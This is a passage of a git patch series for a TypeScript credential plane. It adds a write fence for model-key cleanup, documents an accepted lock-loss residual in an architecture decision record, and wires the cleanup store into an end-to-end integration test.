0005 §2.1); any other channel is `identity_refused` at runtime (G1c review). */ readonly identity: StoreIdentity & { readonly channel: 'ingress' }; + /** + * Asked under the writer lock immediately before a FIRST write reaches the vault; `false` (or a throw) refuses it as + * `fenced` with nothing written. A model key's cleanup fence (ADR 0009): the sweep's delete takes the same lock. + */ + readonly admitFirstWrite?: () => Promise; }; export type PutResult = | { readonly ok: true; readonly version: CredentialVersion } | { readonly ok: false; - readonly reason: 'version_conflict' | 'write_unverified' | 'lock_unavailable' | 'store_unavailable' | 'kind_mismatch' | 'consenters_invalid' | 'identity_refused'; + readonly reason: 'version_conflict' | 'write_unverified' | 'lock_unavailable' | 'store_unavailable' | 'kind_mismatch' | 'consenters_invalid' | 'identity_refused' | 'fenced'; }; export type ResolveInput = ResolvableBy> = { From c27d17005e2c6b404b9068abbc2d297d597f8872 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 10:32:28 -0600 Subject: [PATCH 34/35] docs(adr-0009): record the plane writer-lock-loss residual for model-key cleanup The owner accepted it as a documented residual: an Infisical write still in flight when the plane loses its writer lock, landing after the cleanup sweep has deleted and cleared. Every account kind's plane writes share it, and closing it is plane-wide work (lock-loss signal into every write, explicit Infisical timeouts), proposed as a follow-up. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- docs/adr/0009-model-keys-through-the-credential-plane.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index 598871806b..e280308215 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -30,6 +30,7 @@ The options: - The write itself is fenced. A save records its reference as the last step before sending its write, and a repeat record refreshes `recorded_at`. The write it sends names the fence (`fence: 'model_key_cleanup_ref'`). Under the per-secret writer lock that also serializes deletes, the plane admits that first write only while the reference exists and is not fenced (`admitFirstWrite`). - Before deleting, the sweep sets `fenced_at`, and it removes the reference only after the delete succeeded. A write still in flight, however late, either finished under the lock before the delete or is refused as `fenced` with nothing written. - A reference is cleared only by the save that committed or was refused, by an abandonment whose delete succeeded after a committed write, or by the sweep after a fenced delete. + - Accepted residual, shared by every account kind's plane writes: the fence relies on the plane's per-secret writer lock. If the plane's DB connection dies while an Infisical write is in flight, the plane loses that lock. If the write then lands after the sweep (15 minutes or more after the save recorded its reference) has deleted and cleared, nothing references it. Closing that needs plane-wide work: carry the writer lock's loss signal into every plane write and bound Infisical calls with explicit timeouts. It is a follow-up for the plane, not for model keys. - The plane's main-DB role needs `SELECT, UPDATE, DELETE` on the table. - The sweep pages past references it cannot finish yet. - PageSpace-Deploy `fly/plane-main-db-role.sql` grants it. From 3594f63f31c72fe7a0745d3dffd93c09eab4c05e Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 11:14:05 -0600 Subject: [PATCH 35/35] test(byok): wire the cleanup-ref store into the end-to-end plane The adversarial end-to-end suite builds its own plane handler. Without modelKeyCleanup, the fenced model-key write was refused (fail closed, as designed), so saving a key answered `conflict`. The suite's plane now admits fenced writes against the real cleanup refs, as the plane worker does. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../adversarial/http-executor-end-to-end.integration.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts index 7f00e643fa..47f114fa6f 100644 --- a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts @@ -311,7 +311,7 @@ async function startPlane({ isPublic = () => true, wrapAudit = (r: AgentAccountA rotationGraceMs: 300_000, }); const server = createHttpServer( - createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, inference, browser: { executor: browserFill }, provisioner, executor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }), + createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, inference, browser: { executor: browserFill }, provisioner, executor, modelKeyCleanup: createModelKeyCleanupRepository({ db }), hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }), ); await new Promise((resolve) => server.listen(0, '127.0.0.1', () => resolve())); planes.push(server);